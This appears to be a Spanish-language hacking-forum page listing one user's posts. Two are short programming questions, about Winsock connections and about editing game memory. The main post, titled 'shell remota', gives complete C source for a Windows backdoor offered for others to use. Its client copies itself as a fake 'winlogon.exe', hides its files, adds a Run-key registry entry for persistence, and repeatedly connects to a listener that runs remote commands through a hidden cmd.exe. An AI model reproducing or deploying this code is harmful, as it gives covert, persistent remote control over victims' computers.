elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13]
121  Programación / Programación C/C++ / ayuda con multiples conexiones en: 11 Enero 2013, 19:01 pm
hola alguien conoce info sobre como manejar los winsockets con multiples conexiones?

gracias :D
122  Programación / Programación C/C++ / shell remota en: 4 Enero 2013, 16:27 pm
como es la primera vez que hago algo asi tiene varios problemas pero talves a alguien le sirva ...
server
Código
  1. #include <winsock2.h> //la cabezera para usar las funciones de winsock
  2. #include <stdio.h>
  3.  
  4.  
  5.  
  6. int main()
  7. {
  8.   WSADATA wsa;
  9.   SOCKET sock;
  10.   struct sockaddr_in local;
  11.   int len=0;
  12.   int lend=0;
  13.   char Buffer[1024];
  14.   char recibido[1024];
  15.  
  16.   //Inicializamos
  17.   WSAStartup(MAKEWORD(2,0),&wsa);
  18.  
  19.   //Creamos el socket
  20.   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  21.  
  22.   //defnimos dirección por defecto, ipv4 y el puerto 9999
  23.   local.sin_family = AF_INET;
  24.   local.sin_addr.s_addr = INADDR_ANY;
  25.   local.sin_port = htons(9999);
  26.  
  27.   //asociamos el socket al puerto
  28.   if (bind(sock, (SOCKADDR*) &local, sizeof(local))==-1)
  29.   {
  30.      printf("error en el bind\n");
  31.      return -1;
  32.   }
  33.  
  34.   //ponemos el socket a la escucha
  35.   if (listen(sock,1)==-1)
  36.   {
  37.      printf("error en el listen\n");
  38.      return -1;
  39.   }
  40.  
  41.   len=sizeof(struct sockaddr);
  42.  
  43.   //hay una conexión entrante y la aceptamos
  44.   sock=accept(sock,(sockaddr*)&local,&len);
  45.  
  46.   printf("daryo shell\n");
  47.  
  48.   int bytes_recv; // esta variable es para saber si llego algun comando
  49.  
  50.   while (len!=0) //mientras estemos conectados con el otro pc
  51.   {
  52.      memset(Buffer, 0, sizeof(Buffer)); // Limpiamos el buffer.
  53.      fflush(stdin);
  54.      fflush(stdout);
  55.      //esto es para limpiar la cadena por si acaso el siguien comando no tiene respuesta ...
  56.     for (int x=0;x<1024;x++){
  57.     recibido[x]='\0';
  58.     }
  59.    //------------------------------------
  60.      // aca se envia el comando
  61.      printf("\n\n\nenviar comando>");
  62.      gets(Buffer);
  63.      len=send(sock,Buffer,strlen(Buffer),0); //recibimos los datos que envie
  64.  
  65. // aca espera la llegada del comando
  66.    do{
  67.        bytes_recv = recv(sock, recibido, sizeof(recibido), 0);   // Esperamos para recibir datos...
  68.    } while(bytes_recv == 0 && bytes_recv != SOCKET_ERROR);
  69.    if(bytes_recv > 0){
  70.    printf(recibido);
  71.  
  72.  
  73.  
  74.    }
  75.  
  76.   }
  77.  
  78.   return 0;
  79. }
  80.  
  81.  


cliente
Código
  1. #include <winsock2.h> //la cabezera para usar las funciones de winsock
  2. #include <cstdio>
  3. #include <cstring>
  4. #include <windows.h>
  5.  
  6.  
  7. bool FileExists() {
  8. FILE *archivo =fopen("windows.dll","r");
  9.  
  10. if (archivo){
  11.     return true;
  12. }
  13. pclose(archivo);
  14. return false;
  15. }
  16.  
  17. void instalar(char *directorio,char *direccion){
  18. CopyFile ( direccion, directorio, true );
  19. FILE * winlog=fopen("windows.dll","w");
  20. pclose(winlog);
  21. // ahora escondemos el erchivo
  22. SetFileAttributesA (directorio, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
  23. SetFileAttributesA ("windows.dll", FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
  24. // ahora el registro
  25. HKEY hkey;
  26. char registro[60];
  27. strcpy(registro,directorio);
  28. RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
  29. RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) registro, sizeof registro );
  30. RegCloseKey (hkey);
  31. }
  32.  
  33. int shell(){
  34.  
  35.   WSADATA wsa;
  36.   SOCKET sock;
  37.   struct hostent *host;
  38.   struct sockaddr_in direc;
  39.   int conex;
  40.   char Buffer[1024];
  41.   char *comando;
  42.   int len;
  43.  
  44.   //Inicializamos
  45.   WSAStartup(MAKEWORD(2,2),&wsa);
  46.  
  47.   //resolvemos el nombre de dominio localhost, esto se resolverá a 127.0.0.1
  48.   host=gethostbyname("localhost");
  49.  
  50.   //creamos el socket
  51.   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  52.   if (sock==-1)
  53.   {
  54.      return -1;
  55.   }
  56.   //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
  57.   //y decimos que el puerto al que deberá conectar es el 9999 con el protocolo ipv4
  58.   direc.sin_family=AF_INET;
  59.   direc.sin_port=htons(9999);
  60.   direc.sin_addr = *((struct in_addr *)host->h_addr);
  61.   memset(direc.sin_zero,0,8);
  62.  
  63.   //Intentamos establecer la conexión
  64.   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
  65.   if (conex==-1)  //si no se ha podido conectar porque no se ha encontrado el host o no
  66.                  //está el puerto abierto
  67.   {
  68.      return -1;
  69.   }
  70.  
  71.  
  72.   while (len!=-1 && strcmp(Buffer,"salir")!=0) //mientras el socket no se haya desconectado
  73.                                               //y no se escriba salir
  74.   {
  75.      len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
  76.      if (len>0)  //si seguimos conectados
  77.      {
  78.         Buffer[len]=0; //le ponemos el final de cadena
  79.         comando=Buffer;
  80.         char ejecutar[500]="c:\\windows\\system32\\cmd.exe /c ";
  81.         strcat(ejecutar,comando);
  82.  
  83.         // ejecutar comando
  84.       SECURITY_ATTRIBUTES sa;
  85.       STARTUPINFO si;
  86.       PROCESS_INFORMATION pi;
  87.  
  88.       void * leer;
  89.       void * escribir;
  90.  
  91.       ZeroMemory(&sa,sizeof(&sa));
  92.  
  93.       sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  94.       sa.bInheritHandle = TRUE;
  95.       sa.lpSecurityDescriptor = NULL;
  96.  
  97.       CreatePipe(&leer,&escribir,&sa,0);
  98.  
  99.       GetStartupInfoA(&si);
  100.  
  101.       si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
  102.       si.wShowWindow = SW_HIDE;
  103.       si.hStdOutput = escribir;
  104.       si.hStdError  = escribir;
  105.       si.hStdInput = leer;
  106.  
  107.       CreateProcessA(0,ejecutar,0,0,TRUE,0,0,0,&si,&pi);
  108.       Sleep(200);
  109.       CloseHandle(escribir);
  110.  
  111.       char buffer[1024];
  112.       DWORD bleidos;
  113.       ReadFile(leer,buffer,1024,&bleidos,0);
  114.       send(sock,buffer,1024, 0);
  115.       // un exagerado intento de mantener el buffer vacio
  116.       memset(buffer, 0, sizeof(buffer));
  117.       memset(Buffer, 0, sizeof(Buffer));
  118.       for (int x=0;x<=500;x++){
  119.       ejecutar[x]='\0';
  120.       }
  121.       for (int x=0;x<=1024;x++){
  122.       Buffer[x]='\0';
  123.       }
  124.       fflush(stdin);
  125.       fflush(stdout);
  126.    //------------------------------------------
  127.  
  128.      }
  129.   }
  130.  
  131. }
  132.  
  133. int main(int argc,char *argv[])
  134. {
  135.   char *directorio; // directorio de la instalacion
  136.   char *direccion; // direccion actual
  137.   direccion=argv[0];
  138.   directorio=getenv("userprofile");
  139.   SetCurrentDirectory(directorio);
  140.   strcat(directorio,"\\winlogon.exe"); // nombre de el archivo
  141.   // se ubica en la carpeta de usuario
  142.   if(FileExists()){
  143.   while(true){
  144.   shell();
  145.   Sleep(15000);
  146.   }
  147.   }
  148.   else{
  149.   instalar(directorio,direccion);
  150.   STARTUPINFO si;
  151.   PROCESS_INFORMATION pi;
  152.   ZeroMemory( &si, sizeof(si) );
  153.   si.cb = sizeof(si);
  154.   ZeroMemory( &pi, sizeof(pi) );
  155.   CreateProcess( NULL,   // No module name (use command line)
  156.    "winlogon.exe",        // Command line
  157.        NULL,           // Process handle not inheritable
  158.        NULL,           // Thread handle not inheritable
  159.        FALSE,          // Set handle inheritance to FALSE
  160.        0,              // No creation flags
  161.        NULL,           // Use parent's environment block
  162.        NULL,           // Use parent's starting directory
  163.        &si,            // Pointer to STARTUPINFO structure
  164.        &pi );
  165.   }
  166.   return 0;
  167. }
  168.  
  169.  
123  Programación / Scripting / python trampa juegos en: 30 Diciembre 2010, 21:26 pm
hay un programa q se llama cheat engine con el que se puede cambiar en la memoria por ejemplo un puntaje de algun juego mi pregunta  es, que si en python se podria hacer eso de aguna forma :huh:
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines